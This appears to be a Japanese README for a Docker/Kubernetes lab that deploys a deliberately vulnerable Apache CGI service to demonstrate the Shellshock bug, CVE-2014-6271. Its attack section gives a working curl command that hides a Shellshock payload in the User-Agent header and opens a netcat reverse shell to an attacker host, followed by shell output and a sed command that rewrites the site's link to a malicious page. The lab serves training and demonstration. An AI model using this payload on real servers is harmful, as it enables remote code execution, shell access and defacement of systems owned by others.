
このリポジトリはCVE-2014-6271(https://nvd.nist.gov/vuln/detail/cve-2014-6271)のPoC環境です。
このリポジトリはCVE-2014-6271のPoC環境です。
apache2コンテナイメージを使用して、脆弱性を含むWebサービスをデプロイできます。
Dockerfileから安全でないイメージをビルドします。
# docker build -t cve-2014-6271-apache-debian:buster ./insecure-base-image/
# docker build -t training-website-poc:v1.0 ./web-insecure/
Docker
PoCコンテナをDockerコンテナとしてデプロイします。
# docker run -d -p 8080:80 training-website-poc:v1.0
Kubernetes
PoCコンテナをk8sのPodとServiceとしてデプロイします。
# kubectl apply -f web-insecure/k8s-manifest/web-insecure-pod.yml
# kubectl apply -f web-insecure/k8s-manifest/web-insecure-svc.yml
デプロイが完了したら、以下のURLにブラウザでアクセスしてWebページを閲覧できます。
Webページの「Click!」リンクをクリックすると、k8sのラボ環境にアクセスできます。
Docker
http://<docker host IP>:8080
Kubernetes
http://<k8s service endpoint>:<k8s service port>
このデモでは、攻撃者ホスト(コンテナ外部)からCVE-2014-6271の脆弱性を悪用してWebページを変更できます。
攻撃者ホストから以下のコマンドを実行します。
端末1
# nc -nvlp 5050
端末2
※この例ではDockerを使用してPoCコンテナをデプロイしています。Kubernetesの場合は、URLをhttp://<k8s service endpoint>:<k8s service port>に変更してください。
# curl -H "user-agent: () { :; }; echo; /bin/nc -e /bin/bash <Attacker Host IP> 5050" http://<docker host IP>:8080/cgi-bin/vulnerable
その後、端末1でPoCコンテナの/bin/bashが実行可能になっていることを確認できます。
Listening on 0.0.0.0 5050
Connection received on 172.17.0.2 38926
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),1000(wheel)
pwd
/usr/lib/cgi-bin
Webページの「Click!」リンクを変更します。
今回は悪意のあるリンク用のダミーページを使用します。
sudo sed -i -e 's/https\:\/\/www.katacoda.com\/courses\/kubernetes/danger.html/' /var/www/html/index.html
再度Webページにアクセスし、ページ内の「Click!」リンクをクリックします。
http://<docker host IP>:8080
https://github.com/hmlio/vaas-cve-2014-6271
https://github.com/opsxcq/exploit-CVE-2014-6271